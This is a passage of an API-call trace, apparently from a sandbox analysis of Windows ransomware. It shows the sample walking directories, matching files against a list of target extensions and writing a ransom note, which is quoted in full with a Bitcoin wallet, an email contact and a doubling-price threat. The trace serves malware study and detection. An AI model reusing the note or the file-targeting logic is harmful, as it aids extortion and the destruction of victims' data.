(pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.pdf") returned 0 [0119.206] lstrlenA (lpString="*.pdf") returned 5 [0119.206] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.cert") returned 0 [0119.206] lstrlenA (lpString="*.cert") returned 6 [0119.206] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.docm") returned 0 [0119.206] lstrlenA (lpString="*.docm") returned 6 [0119.206] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.xlsm") returned 0 [0119.206] lstrlenA (lpString="*.xlsm") returned 6 [0119.206] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.dwg") returned 0 [0119.206] lstrlenA (lpString="*.dwg") returned 5 [0119.206] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.nd") returned 0 [0119.206] lstrlenA (lpString="*.nd") returned 4 [0119.206] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.tlg") returned 0 [0119.206] lstrlenA (lpString="*.tlg") returned 5 [0119.206] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.lgb") returned 0 [0119.206] lstrlenA (lpString="*.lgb") returned 5 [0119.206] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.mov") returned 0 [0119.207] lstrlenA (lpString="*.mov") returned 5 [0119.207] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.xdw") returned 0 [0119.207] lstrlenA (lpString="*.xdw") returned 5 [0119.207] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.ods") returned 0 [0119.207] lstrlenA (lpString="*.ods") returned 5 [0119.207] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.wav") returned 0 [0119.207] lstrlenA (lpString="*.wav") returned 5 [0119.207] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.mp3") returned 0 [0119.207] lstrlenA (lpString="*.mp3") returned 5 [0119.207] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.aiff") returned 0 [0119.207] lstrlenA (lpString="*.aiff") returned 6 [0119.207] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.flac") returned 0 [0119.207] lstrlenA (lpString="*.flac") returned 6 [0119.207] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.m4a") returned 0 [0119.207] lstrlenA (lpString="*.m4a") returned 5 [0119.207] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dynamic\\5803a6b4b9b40acf6c2e7d10f4592b44\\System.Dynamic.ni.dll.aux", pszSpec="*.csv") returned 0 [0119.207] lstrlenA (lpString="*.csv") returned 5 [0119.207] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a2c1090, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5a2c1090, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x5a2c1090, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x218, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Dynamic.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0119.207] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0119.208] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a2c1090, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5a2c1090, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x5a2c1090, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="5803a6b4b9b40acf6c2e7d10f4592b44", cAlternateFileName="5803A6~1")) returned 0 [0119.208] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0119.208] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868d9370, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x868d9370, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x868d9370, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Ente96d83b35#", cAlternateFileName="SYSTEM~1.ENT")) returned 1 [0119.208] lstrcmpA (lpString1=".", lpString2="System.Ente96d83b35#") returned -1 [0119.208] lstrcmpA (lpString1="..", lpString2="System.Ente96d83b35#") returned -1 [0119.208] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0119.208] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Ente96d83b35#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#" [0119.208] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#") returned 67 [0119.208] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868d9370, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x868d9370, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x868d9370, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0119.244] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0119.244] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868d9370, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x868d9370, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x868d9370, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.244] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0119.245] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0119.245] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868d9370, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x868ff4d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x868ff4d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="47233763bb65ea09075f780c4b2c0f44", cAlternateFileName="472337~1")) returned 1 [0119.245] lstrcmpA (lpString1=".", lpString2="47233763bb65ea09075f780c4b2c0f44") returned -1 [0119.245] lstrcmpA (lpString1="..", lpString2="47233763bb65ea09075f780c4b2c0f44") returned -1 [0119.245] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\*.*") returned="*.*" [0119.245] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\", lpString2="47233763bb65ea09075f780c4b2c0f44" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44" [0119.245] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44") returned 100 [0119.245] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868d9370, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x868ff4d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x868ff4d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0119.260] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0119.260] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868d9370, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x868ff4d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x868ff4d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.261] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0119.261] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0119.261] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x868d9370, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x868d9370, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x868ff4d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0xf7800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.EnterpriseServices.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0119.261] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0119.261] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.EnterpriseServices.ni.dll") returned -1 [0119.262] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.EnterpriseServices.ni.dll") returned -1 [0119.262] lstrcmpiA (lpString1="", lpString2="System.EnterpriseServices.ni.dll") returned -1 [0119.262] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\*.*") returned="*.*" [0119.262] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\" [0119.262] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\") returned="" [0119.262] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\HOW TO DECRYPT FILES.txt" [0119.262] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\how to decrypt files.txt")) returned 0xffffffff [0119.262] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0119.263] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0119.263] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0119.265] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0119.266] CloseHandle (hObject=0x90) returned 1 [0119.266] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\", lpString2="System.EnterpriseServices.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll" [0119.266] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.ems") returned 0 [0119.266] lstrlenA (lpString="*.ems") returned 5 [0119.266] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.db") returned 0 [0119.266] lstrlenA (lpString="*.db") returned 4 [0119.266] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.dbf") returned 0 [0119.266] lstrlenA (lpString="*.dbf") returned 5 [0119.266] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.myox") returned 0 [0119.266] lstrlenA (lpString="*.myox") returned 6 [0119.266] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.myo") returned 0 [0119.266] lstrlenA (lpString="*.myo") returned 5 [0119.266] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.qbw") returned 0 [0119.266] lstrlenA (lpString="*.qbw") returned 5 [0119.267] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.qbb") returned 0 [0119.267] lstrlenA (lpString="*.qbb") returned 5 [0119.267] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.qbm") returned 0 [0119.267] lstrlenA (lpString="*.qbm") returned 5 [0119.267] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.qbo") returned 0 [0119.267] lstrlenA (lpString="*.qbo") returned 5 [0119.267] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.qbx") returned 0 [0119.267] lstrlenA (lpString="*.qbx") returned 5 [0119.267] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.qba") returned 0 [0119.267] lstrlenA (lpString="*.qba") returned 5 [0119.267] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.qby") returned 0 [0119.267] lstrlenA (lpString="*.qby") returned 5 [0119.267] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.qbj") returned 0 [0119.267] lstrlenA (lpString="*.qbj") returned 5 [0119.267] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.ofx") returned 0 [0119.267] lstrlenA (lpString="*.ofx") returned 5 [0119.267] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.qif") returned 0 [0119.267] lstrlenA (lpString="*.qif") returned 5 [0119.268] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.mye") returned 0 [0119.268] lstrlenA (lpString="*.mye") returned 5 [0119.268] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.mbox") returned 0 [0119.268] lstrlenA (lpString="*.mbox") returned 6 [0119.268] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.eml") returned 0 [0119.268] lstrlenA (lpString="*.eml") returned 5 [0119.268] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.pst") returned 0 [0119.268] lstrlenA (lpString="*.pst") returned 5 [0119.268] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.ost") returned 0 [0119.268] lstrlenA (lpString="*.ost") returned 5 [0119.268] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.idx") returned 0 [0119.268] lstrlenA (lpString="*.idx") returned 5 [0119.268] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.dbx") returned 0 [0119.268] lstrlenA (lpString="*.dbx") returned 5 [0119.268] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.sql") returned 0 [0119.268] lstrlenA (lpString="*.sql") returned 5 [0119.268] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.mdb") returned 0 [0119.268] lstrlenA (lpString="*.mdb") returned 5 [0119.269] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.fdb") returned 0 [0119.269] lstrlenA (lpString="*.fdb") returned 5 [0119.269] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.wab") returned 0 [0119.269] lstrlenA (lpString="*.wab") returned 5 [0119.269] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.dat") returned 0 [0119.269] lstrlenA (lpString="*.dat") returned 5 [0119.269] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.txt") returned 0 [0119.269] lstrlenA (lpString="*.txt") returned 5 [0119.269] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.jpeg") returned 0 [0119.269] lstrlenA (lpString="*.jpeg") returned 6 [0119.269] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.jpg") returned 0 [0119.269] lstrlenA (lpString="*.jpg") returned 5 [0119.269] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.png") returned 0 [0119.269] lstrlenA (lpString="*.png") returned 5 [0119.270] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.php") returned 0 [0119.270] lstrlenA (lpString="*.php") returned 5 [0119.270] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.cs") returned 0 [0119.270] lstrlenA (lpString="*.cs") returned 4 [0119.270] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.cpp") returned 0 [0119.270] lstrlenA (lpString="*.cpp") returned 5 [0119.270] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.rar") returned 0 [0119.270] lstrlenA (lpString="*.rar") returned 5 [0119.270] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.zip") returned 0 [0119.270] lstrlenA (lpString="*.zip") returned 5 [0119.270] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.html") returned 0 [0119.270] lstrlenA (lpString="*.html") returned 6 [0119.270] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.htm") returned 0 [0119.270] lstrlenA (lpString="*.htm") returned 5 [0119.270] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Ente96d83b35#\\47233763bb65ea09075f780c4b2c0f44\\System.EnterpriseServices.ni.dll", pszSpec="*.xlsx") returned 0 [0119.270] lstrlenA (lpString="*.xlsx") returned 6 [0119.271] PathMatchSpecA 